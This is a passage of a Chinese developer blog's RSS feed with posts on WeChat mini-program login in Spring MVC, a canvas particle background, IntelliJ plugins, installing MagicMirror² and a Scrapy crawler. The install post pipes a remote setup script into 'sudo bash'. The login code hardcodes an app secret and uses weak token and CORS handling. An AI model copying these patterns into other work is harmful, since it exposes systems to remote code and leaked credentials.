      <description>&lt;img src="https://media.baby7blog.com/1736648379936486012" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Spring MVC实现微信小程序登录流程&lt;/h1&gt;

&lt;h2&gt;流程说明：&lt;/h2&gt;
&lt;p&gt;1.小程序调用 wx.qy.login() 获取 临时登录凭证code ，并回传到服务商服务器。&lt;/p&gt;
&lt;p&gt;2.服务商服务器以code换取 用户唯一标识 userid 、用户所在企业corpid 和 会话密钥 session_key。&lt;/p&gt;
&lt;p&gt;此步骤以后服务商后台可以根据用户标识来生成自定义登录态，用于后续业务逻辑中前后端交互时识别用户身份。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190605/1559733008279096724.png" alt="流程" /&gt;&lt;/p&gt;
&lt;p&gt;Spring MVC实现登录流程：&lt;/p&gt;
&lt;p&gt;微信小程序的首页需要实现该流程&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;var that = this;
// 登录
wx.login({
    success: function (res) {
        if (res.code) {
        wx.request({
            url: app.globalData.path + &amp;quot;ConferenceNotes/login&amp;quot;,
            data: {
            code: res.code
            },
            method: &amp;quot;POST&amp;quot;,
            header: {
            'content-type': 'application/json',
            },
            success: function (res) {
            var token = res.data;
            wx.getUserInfo({
                success: res =&amp;gt; {
                // 保存用户信息到服务端
                wx.request({
                    url: app.globalData.path + &amp;quot;ConferenceNotes/getUserInfo?new_key=&amp;quot; + token + &amp;quot;&amp;amp;email=&amp;quot; + that.data.email,
                    data: res,
                    method: &amp;quot;POST&amp;quot;,
                    header: {
                    'Authorization': 'Bearer ' + token,
                    'content-type': 'application/json',
                    },
                    success: function (res) {
                        //res.data应该有你返回的服务器对用户唯一标识（不是openID）
                    },
                    fail: function (error) {
                    console.log(&amp;quot;error:&amp;quot; + error);
                    }
                })

                // 由于 getUserInfo 是网络请求，可能会在 Page.onLoad 之后才返回
                // 所以此处加入 callback 以防止这种情况
                if (app.userInfoReadyCallback) {
                    app.userInfoReadyCallback(res)
                }
                }
            })

            },
            fail: function (error) {
            console.log(error);
            }
        })
        } else {
        console.log(&amp;quot;error code &amp;quot; + res.errMsg);
        }
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Spring MVC响应login请求：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
 * 登录
 */
@ResponseBody
@RequestMapping(&amp;quot;/login&amp;quot;)
public void login(HttpServletResponse response,@RequestBody Code codeObject) throws IOException {
    response.setHeader(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;);
    String code = codeObject.getCode();
    String new_key = this.userService.getNewKey(code);
    response.getWriter().write(new_key);
    response.getWriter().close();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用Service层的函数：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
 * 获取新的key，此key保存5分钟
 */
public String getNewKey(String code){
    String url = &amp;quot;https://api.weixin.qq.com/sns/jscode2session?appid=wx0805ed56c68e316b&amp;amp;secret=&amp;quot;
            + &amp;quot;41f765c3adc892684c5a7ccb378e6c3a&amp;amp;js_code=&amp;quot; + code + &amp;quot;&amp;amp;grant_type=authorization_code&amp;quot;;
    JSONObject jsonObject = JSON.parseObject( UrlUtil.sendPost( url,&amp;quot;&amp;quot; ));
    String openid = (String) jsonObject.get(&amp;quot;openid&amp;quot;);
    String session_key = (String) jsonObject.get(&amp;quot;session_key&amp;quot;);
    //根据openid和session_key计算出来个值保存到reids并设置5分钟的过期时间
    String new_key = DigestUtils.md5DigestAsHex((openid + session_key).getBytes());
    this.jedis.hset(new_key, &amp;quot;NEW&amp;quot;, session_key);
    this.jedis.expire(new_key, 300);//5分钟过期
    return new_key;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我使用Redis进行保存，并设置5分钟的过期时间&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
 * 获取用户信息
 */
@ResponseBody
@RequestMapping(&amp;quot;/getUserInfo&amp;quot;)
public void test(HttpServletRequest request, HttpServletResponse response,@RequestBody UserData userData) throws IOException {
    request.setCharacterEncoding(&amp;quot;UTF-8&amp;quot;);
    response.setHeader(&amp;quot;Access-Control-Allow-Origin&amp;quot;, &amp;quot;*&amp;quot;);
    String new_key = request.getParameter(&amp;quot;new_key&amp;quot;);
    String email = request.getParameter(&amp;quot;email&amp;quot;);
    Message message = this.userService.getUserInfo(new_key, email, userData);
    ObjectMapper mapper = new ObjectMapper();
    response.getWriter().write(mapper.writeValueAsString(message));
    response.getWriter().close();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续响应getUserInfo请求&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;@Override
public Message getUserInfo(String new_key, String email, UserData userData) {
    Message message = new Message();
    if(new_key != null &amp;amp;&amp;amp; !new_key.equals(&amp;quot;&amp;quot;)){
        String session_key = this.jedis.hget(new_key, &amp;quot;NEW&amp;quot;);
        if(session_key != null &amp;amp;&amp;amp; !session_key.equals(&amp;quot;&amp;quot;)){
            this.jedis.hdel(new_key, &amp;quot;NEW&amp;quot;);
            String iv = userData.getIv();
            String encryptedData = userData.getEncryptedData();
            JSONObject userInfoJSON = getUserInfoJSON(encryptedData, session_key, iv);
            if(userInfoJSON != null){
                UserInfo userInfo = JSON.parseObject(userInfoJSON.toJSONString(),UserInfo.class);
                userInfo.setAvatarUrl(userInfoJSON.getString(&amp;quot;avatarUrl&amp;quot;));
                userInfo.setEmail(&amp;quot;&amp;quot;);
                if(email == null || email.equals(&amp;quot;&amp;quot;)){
                    UserInfo userInfo1 = this.userDao.selectUser(userInfo.getOpenId());
                    if(userInfo1 == null){
                        message.setMessage(&amp;quot;no email&amp;quot;);
                    }
                    else{
                        userInfo = userInfo1;
                        message.setMessage(userInfo1.getEmail());
                    }

                }
                else {
                    userInfo.setEmail(email);
                    message.setMessage(email);
                }
                System.out.println(&amp;quot;before:&amp;quot; + userInfo.toString());
                userInfo = login(userInfo);
                System.out.println(&amp;quot;next:&amp;quot; + userInfo.toString());
                message.setState(&amp;quot;success&amp;quot;);
                message.setCode(userInfo.getId().toString());
            }else {
                message.setMessage(&amp;quot;getUserInfo Algorithm error&amp;quot;);
            }
        }else {
            message.setMessage(&amp;quot;no session_key&amp;quot;);
        }
    }else {
        message.setMessage(&amp;quot;no new_key&amp;quot;);
    }
    return message;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际上我这个写的很不好，后面会再修改&lt;/p&gt;
&lt;p&gt;调用了三个函数&lt;/p&gt;
&lt;p&gt;login：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;private UserInfo login(UserInfo userInfo){
    UserInfo userInfo_r = this.userDao.selectUser(userInfo.getOpenId());
    if(userInfo_r == null)
        this.userDao.insertUser(userInfo);
    else{
        this.userDao.updateUser(userInfo);
        userInfo.setId(userInfo_r.getId());
    }
    return userInfo;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;getUserInfoJson：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
 * 获取UserInfo信息
 */
private JSONObject getUserInfoJSON(String encryptedData, String sessionkey, String iv){
    byte[] dataByte = Base64.decode(encryptedData);     //被加密的数据
    byte[] keyByte = Base64.decode(sessionkey);         //加密秘钥
    byte[] ivByte = Base64.decode(iv);                  //偏移量
    try {
        // 如果密钥不足16位，那么就补足.  这个if 中的内容很重要
        int base = 16;
        if (keyByte.length % base != 0) {
            int groups = keyByte.length / base + 1;
            byte[] temp = new byte[groups * base];
            Arrays.fill(temp, (byte) 0);
            System.arraycopy(keyByte, 0, temp, 0, keyByte.length);
            keyByte = temp;
        }
        // 初始化
        Security.addProvider(new BouncyCastleProvider());
        Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS7Padding&amp;quot;,&amp;quot;BC&amp;quot;);
        SecretKeySpec spec = new SecretKeySpec(keyByte, &amp;quot;AES&amp;quot;);
        AlgorithmParameters parameters = AlgorithmParameters.getInstance(&amp;quot;AES&amp;quot;);
        parameters.init(new IvParameterSpec(ivByte));
        cipher.init(Cipher.DECRYPT_MODE, spec, parameters);// 初始化
        byte[] resultByte = cipher.doFinal(dataByte);
        if (null != resultByte &amp;amp;&amp;amp; resultByte.length &amp;gt; 0) {
            String result = new String(resultByte, StandardCharsets.UTF_8);
            return JSONObject.parseObject(result);
        }
    } catch (NoSuchAlgorithmException | InvalidParameterSpecException | NoSuchPaddingException | IllegalBlockSizeException | BadPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | NoSuchProviderException e) {
        e.printStackTrace();
    }
    return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个是从数据库调数据的，这里就不展示了&lt;/p&gt;
&lt;p&gt;我写这篇文章主要是给你们一个大概的流程和思路，里面的有些通用函数可以拿去用，但是最好不要照搬我的所有代码，因为时间紧，所以代码质量不怎么地，后面会继续修改更新博客的。&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Sun, 02 Jun 2019 22:31:21 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/25.html</comments>
    </item>
    <item>
      <title>炫酷的博客背景</title>
      <link>https://www.baby7blog.com/myBlog/24.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190514/1557845162323072001.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;炫酷的博客背景&lt;/h1&gt;

&lt;p&gt;看看博客周围，游动的点连成线，构成一幅动态的背景&lt;img src="http://img.baidu.com/hi/jx2/j_0003.gif" alt="努力" /&gt;（现在可能看不到，有可能切换到别的特效了）&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190514/1557845162323072001.png" alt="特效截图" /&gt;&lt;/p&gt;
&lt;h2&gt;原理：&lt;/h2&gt;
&lt;p&gt;使用JavaScript实现，生成150个点，然后使用嵌套的for循环来判断每两个点之间是否需要连线以及连线的透明度。&lt;/p&gt;
&lt;p&gt;这是基本原理，后面我又改了一版是因为占用CPU有点高，改到了每秒30帧，现在在我的电脑上运行可以降到10%的CPU利用率，之前是30%&lt;img src="http://img.baidu.com/hi/jx2/j_0012.gif" alt="拍头" /&gt;&lt;/p&gt;
&lt;p&gt;代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;const canvas = document.getElementById(&amp;quot;myCanvas&amp;quot;);
canvas.width = document.documentElement.clientWidth;
canvas.height = document.documentElement.clientHeight;
const ctx = canvas.getContext(&amp;quot;2d&amp;quot;);

//创建小球的构造函数
function Ball() {
   this.x = randomNum(3, canvas.width - 3);
   this.y = randomNum(3, canvas.height - 3);
   this.r = randomNum(1, 3);
   this.color = &amp;quot;rgb(0,0,0)&amp;quot;;
   //小球速度
   this.speedX = randomNum(-3, 3) * 0.6;
   this.speedY = randomNum(-3, 3) * 0.6;
}

Ball.prototype = {
      //绘制小球
      draw: function() {
         ctx.beginPath();
         ctx.globalAlpha = 0.4;
         ctx.fillStyle = this.color;
         ctx.arc(this.x, this.y, this.r, 0, Math.PI * 2);
         ctx.fill();
      },
      //小球移动
      move: function() {
         this.x += this.speedX;
         this.y += this.speedY;
         //为了合理性,设置极限值
         if (this.x &amp;lt;= 3 || this.x &amp;gt; canvas.width - 3) {
            this.speedX *= -1;
         }
         if (this.y &amp;lt;= 3 || this.y &amp;gt;= canvas.height - 3) {
            this.speedY *= -1;
         }
      }
};
//存储所有的小球  
const balls = [];
//创建n个小球  
const n = 150;
for (let i = 0; i &amp;lt; n; i++) {
   const ball = new Ball();
   balls.push(ball);  
}

main();
function main() {
   //电脑才有特效
   if(canvas.width &amp;gt; 1000){
      let step = (timestamp, elapsed) =&amp;gt; {
         //一秒30帧
         if (elapsed &amp;gt; 1000 / 30) {
            ctx.clearRect(0, 0, canvas.width, canvas.height);
            //小球与小球之间自动画线
            drawLine();
            elapsed = 0
         }

         window.requestAnimationFrame(
            _timestamp =&amp;gt; step(_timestamp, elapsed + _timestamp - timestamp)
         )
      };
      window.requestAnimationFrame(timestamp =&amp;gt; step(timestamp, 0))
   }
}

//添加鼠标移动事件  
//记录鼠标移动时的mouseX坐标  
let mouseX;
let mouseY;
canvas.onmousemove = function(e) {
   const ev = event || e;
   mouseX = ev.offsetX;
   mouseY = ev.offsetY;
};

//判断是否划线  
function drawLine() {
   let distance;
   for (let i = 0; i &amp;lt; balls.length; i++) {
      balls[i].draw();
      balls[i].move();
      for (let j = 0; j &amp;lt; balls.length; j++) {
         if (i !== j) {
            distance = Math.sqrt(Math.pow((balls[i].x - balls[j].x), 2) + Math.pow((balls[i].y - balls[j].y), 2));
            if (distance &amp;lt; 130) {
               ctx.beginPath();
               ctx.moveTo(balls[i].x, balls[i].y);
               ctx.lineTo(balls[j].x, balls[j].y);
               ctx.strokeStyle = &amp;quot;rgba(0,0,0,&amp;quot; + (1 - distance / 130) + &amp;quot;)&amp;quot;;
               ctx.stroke();
            }
         }
      }
   }  
}

//随机函数  
function randomNum(m, n) {
   return Math.floor(Math.random() * (n - m + 1) + m);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;html中要加一个canvas&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;canvas class=&amp;quot;background&amp;quot; id=&amp;quot;myCanvas&amp;quot;&amp;gt;&amp;lt;/canvas&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有引用&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;script src=&amp;quot;js/background.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再加个css样式&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;/*背景*/
.background{
   position:fixed;
   z-index:-1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以看到酷炫的粒子背景啦&lt;img src="http://img.baidu.com/hi/jx2/j_0006.gif" alt="上升" /&gt;&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Tue, 14 May 2019 06:49:15 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/24.html</comments>
    </item>
    <item>
      <title>Intellij IDEA插件及快捷操作分享</title>
      <link>https://www.baby7blog.com/myBlog/23.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646293798067134.gif" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Intellij IDEA插件及快捷操作分享&lt;/h1&gt;

&lt;h2&gt;插件安装方式：&lt;/h2&gt;
&lt;p&gt;Ctrl+Alt+S打开Settings-&amp;gt;Plugins-&amp;gt;Marketlace，然后输入插件名回车&lt;/p&gt;
&lt;h2&gt;插件：&lt;/h2&gt;
&lt;h3&gt;一、&lt;font size=4 color=DeepSkyBlue&gt;Background Image Plus&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以更改Intellij IDEA背景的插件，安装后View-&amp;gt;Set Background Image后输入背景文件路径即可&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557645626407065427.png" alt="IDEA Background Image Plus 截图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646826236005631.png" alt="IDEA Background Image Plus 主界面" /&gt;&lt;/p&gt;
&lt;h3&gt;二、&lt;font size=4 color=DeepSkyBlue&gt;Nyan progress bar&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以把进度条换成彩虹喵的插件，安装即可使用&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646087048059859.png" alt="IDEA Nyan progress bar 截图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646080814080272.png" alt="IDEA Nyan progress bar 主界面" /&gt;&lt;/p&gt;
&lt;h3&gt;三、&lt;font size=4 color=DeepSkyBlue&gt;activate-power-mode&lt;/font&gt;或者&lt;font size=4 color=DeepSkyBlue&gt;Power mode II&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;曾经很流行的炸裂式编程，类似这样子，非常酷炫，但是并不建议长时间安装，这个抖起来晃的头晕&lt;img src="http://img.baidu.com/hi/jx2/j_0008.gif" alt="再见" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646293798067134.gif" alt="IDEA 炸裂式编程" /&gt;&lt;/p&gt;
&lt;h3&gt;四、&lt;font size=4 color=DeepSkyBlue&gt;Grep Console&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以改变控制台日志颜色的插件，在控制台右键-&amp;gt;Show Grep Console Statistics in Console打开Grep Console，在下方的Highlighting &amp;amp; Folding的Expression是选择关键字，.*表示任何字符，Backgr...表示背景色，Foregro...表示前景色&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646520392009709.png" alt="IDEA Grep Console 截图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557646656939015912.png" alt="IDEA Grep Console 主界面" /&gt;&lt;/p&gt;
&lt;h3&gt;五、&lt;font size=4 color=DeepSkyBlue&gt;Lombok&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;写JavaWeb程序时经常要写Bean，虽然IDEA已经提供了快捷键添加get和set，但是还是要按很多下快捷键，而且如果Bean中的属性有更改还得删除再增加set和get，及其麻烦， Lombok则为我们解决了这些问题，使用了lombok的注解(@Setter,@Getter,@ToString,@@RequiredArgsConstructor,@EqualsAndHashCode或@Data)之后，就不需要编写或生成getter等方法，很大程度上减少了代码量，而且减少了代码维护的负担。&lt;/p&gt;
&lt;p&gt;安装后需要在maven的pom.xml中增加依赖&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;!-- Lombok注解生成set、get、toString --&amp;gt;
&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.18.0&amp;lt;/version&amp;gt;
    &amp;lt;scope&amp;gt;provider&amp;lt;/scope&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在Bean前增加注解即可&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import lombok.Getter;
import lombok.Setter;
import lombok.ToString;

import java.util.Date;

@Getter
@Setter
@ToString
public class User {

    private long id;
    private String email;
    private String password;
    private String username;
    private String role;
    private int status;
    private Date regTime;
    private String regIp;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、&lt;font size=4 color=DeepSkyBlue&gt;Key promoter X&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以在你用鼠标操作的时候看有没有相应的快捷键，有的话给你提示，并且统计点击了多少次，熟悉快捷键后可以关闭这个插件&lt;/p&gt;
&lt;p&gt;以前叫Key promoter，现在新版加了个X，显示的信息多了些，也更好看了&lt;/p&gt;
&lt;h3&gt;七、&lt;font size=4 color=DeepSkyBlue&gt;CodeGlance&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;在VS Code里面发现的功能，后来发现IDEA中也有这个代码缩略图插件，比进度条好用&lt;img src="http://img.baidu.com/hi/jx2/j_0003.gif" alt="好" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557647903019053589.png" alt="IDEA CodeGlance" /&gt;&lt;/p&gt;
&lt;h3&gt;八、&lt;font size=4 color=DeepSkyBlue&gt;Rainbow Brackets&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190512/1557648268093083392.png" alt="IDEA Rainbow Brackets" /&gt;&lt;/p&gt;
&lt;p&gt;一个彩色的括号插件，不只是()，xml或者html里的&amp;lt;&amp;gt;也会变成彩虹的颜色&lt;/p&gt;
&lt;h3&gt;九、&lt;font size=4 color=DeepSkyBlue&gt;Translation&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;见名知其意，就是个翻译的插件，选择单词(ctrl+w快捷选择)后Ctrl+Shift+Y可以翻译，Ctrl+Shift+X可以选择再替换，我在使用的时候经常要鼠标选词，所以比较常单手使用Ctrl+Shift+X去翻译，不替换就行&lt;/p&gt;
&lt;h3&gt;十、&lt;font size=4 color=DeepSkyBlue&gt;CamelCase&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;驼峰命名法插件，内置多种命名法，在选择的名字上Shift+Alt+U即可换一种命名法。&lt;/p&gt;
&lt;h3&gt;十一、&lt;font size=4 color=DeepSkyBlue&gt;Maven Helper&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以用列表（All Dependencies as List）和树形（All Dependencies as Tree）查看Maven的包信息，还可以查看包冲突（Conflicts），在pom.xml的左下角选择Dependency Analyzer即可打开。&lt;/p&gt;
&lt;h3&gt;十二、&lt;font size=4 color=DeepSkyBlue&gt;JRebel and XRebel for Intellij&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;极其强大的热部署插件，然而强大都是有代价的，JRebel是个商用软件，一般情况下价格比IDEA编译器的价格都贵。。。以前个人开发者免费，现在不给用了，只能买，有时候会打个折&lt;/p&gt;
&lt;p&gt;以前叫JRebel，现在改了名字，多了个XRebel，这个可以实时分析显示性能，不过我还没用过这个功能&lt;/p&gt;
&lt;h3&gt;十三、&lt;font size=4 color=DeepSkyBlue&gt;One Dark theme&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;一个主题插件，安装后可以在setting-&amp;gt;Appearance &amp;amp; Behavior-&amp;gt;Appearance-&amp;gt;Theme中选择新出现的主题&lt;/p&gt;
&lt;h3&gt;十四、&lt;font size=4 color=DeepSkyBlue&gt;stackoverflow&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;这个插件安装后选中一段文字（比如错误信息），右键secrch stackoverflow直接就可以打开谷歌进行搜索，加快改bug效率&lt;/p&gt;
&lt;h3&gt;十五、&lt;font size=4 color=DeepSkyBlue&gt;MyBatisX&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;这个插件安装后支持在Mapper类和xml文件之间跳转，可以精确到函数&lt;/p&gt;
&lt;h3&gt;十六、&lt;font size=4 color=DeepSkyBlue&gt;MyBatis Log Plugin&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以根据日志中打印出来的Mybatis日志生成SQL语句，然后可以复制在数据库执行看看为什么出错，现在对开源版对新版本IDEA似乎兼容性不太好，有需要的可以去MyBatis Log Plugin买，一年二三十块钱&lt;/p&gt;
&lt;h3&gt;十七、&lt;font size=4 color=DeepSkyBlue&gt;.ignore&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以在git提交时忽略不必要提交的文件&lt;/p&gt;
&lt;h3&gt;十八、&lt;font size=4 color=DeepSkyBlue&gt;GenerateAllSetter&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;一键调用一个对象的所有的set方法，列出来，在填入model信息时方便很多&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1725458959655145669" alt="IDEA GenerateAllSetter" /&gt;&lt;/p&gt;
&lt;h3&gt;十九、&lt;font size=4 color=DeepSkyBlue&gt;String Manipulation&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;字符串转换工具，快捷键是Alt + m，可以切换规则样式（camelCase, hyphen-lowercase, HYPHEN-UPPERCASE, snake_case, SCREAMING_SNAKE_CASE, dot.case, words lowercase, Words Capitalized, PascalCase）&lt;/p&gt;
&lt;h3&gt;二十、&lt;font size=4 color=DeepSkyBlue&gt;Git Commit Template&lt;/font&gt;&lt;/h3&gt;
&lt;p&gt;可以统一提交git的提交规范，方便查询历史&lt;/p&gt;
&lt;h2&gt;快捷操作：&lt;/h2&gt;
&lt;p&gt;快速补全，例如：&lt;/p&gt;
&lt;p&gt;for循环：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;int n = 5;
n.fori
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候按回车即可生成&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;int n=5;
for (int i = 0; i &amp;lt; n; i++) {
    
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;foreach循环：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;int[] a = {};
a.for
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候按回车即可生成&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;int[] a = {};
for (int i : a) {
    
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>分享</category>
      <pubDate>Sun, 12 May 2019 00:11:54 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/23.html</comments>
    </item>
    <item>
      <title>树莓派相关：MagicMirror²的安装</title>
      <link>https://www.baby7blog.com/myBlog/22.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190610/1560126831432033200.jpg" width="800"&gt;&lt;br&gt;
&lt;h1&gt;树莓派相关：MagicMirror²的安装&lt;/h1&gt;

&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190513/1557730157993018419.png" alt="MagicMirror²" /&gt;&lt;/p&gt;
&lt;p&gt;介绍：MagicMirror²是一个开源的魔镜项目，软件大概原理就是一个Web页面，然后全屏，黑色底色，硬件原理就是在原子镜后面放一个屏幕，黑色底色不透光然后就可以实现这种效果：&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190511/1557563146595059353.png" alt="镜子" /&gt;&lt;/p&gt;
&lt;p&gt;接下来是MagicMirror²的安装过程&lt;/p&gt;
&lt;p&gt;1.下载并安装最新的Node.js版本&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
sudo apt install -y nodejs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.克隆存储库并检查主分支&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;git clone https://github.com/MichMich/MagicMirror
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.创建一个可用的配置：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;cd MagicMirror/config
cp config.js.sample config.js
cd $HOME/MagicMirror
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4.安装淘宝npm镜像，我试了很久，原生的npm似乎不能安装成功&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;npm install -g cnpm --registry=https://registry.npm.taobao.org
cnpm install
cnpm start
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>硬件相关</category>
      <pubDate>Sat, 11 May 2019 00:31:01 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/22.html</comments>
    </item>
    <item>
      <title>Scrapy实战：双向爬取（豆瓣电影Top250）</title>
      <link>https://www.baby7blog.com/myBlog/20.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190513/1557729875653001252.jpg" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Scrapy实战：双向爬取（豆瓣电影Top250）&lt;/h1&gt;

&lt;p&gt;需要爬取的信息：豆瓣电影排行的前250名&lt;/p&gt;
&lt;p&gt;爬取网页：&lt;a href="https://movie.douban.com/top250"&gt;https://movie.douban.com/top250&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;p&gt;Top排行页上部分&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190510/1557448496900014751.png" alt="Top排行页上部分" /&gt;&lt;/p&gt;
&lt;p&gt;Top排行页下部分&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190510/1557448533556001986.png" alt="Top排行页下部分" /&gt;&lt;/p&gt;
&lt;p&gt;电影详情页：&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190510/1557448518478076491.png" alt="Top排行页下部分" /&gt;&lt;/p&gt;
&lt;p&gt;我们想爬取的信息：电影名,海报,评分,导演,编剧,主演,类型,片长,首次上映日期,简介&lt;/p&gt;
&lt;h2&gt;思路：&lt;/h2&gt;
&lt;p&gt;由于Top250页每页只有25条，另外电影信息在列表页中才有，所以需要进行双向爬取，在索引页中爬取信息是横向爬取，在分页中爬取下一页是纵向爬取。&lt;/p&gt;
&lt;h2&gt;过程：&lt;/h2&gt;
&lt;p&gt;要爬取的信息：items.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-

# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html

from scrapy.item import Item, Field


class DoubanItem(Item):
    # DouBan Movies
    name = Field()                  # 电影名
    image_url = Field()             # 海报
    average = Field()               # 评分
    director = Field()              # 导演
    screenwriter = Field()          # 编剧
    star = Field()                  # 主演
    genre = Field()                 # 类型
    runtime = Field()               # 片长
    initialReleaseDate = Field()    # 首次上映日期
    summary = Field()               # 简介
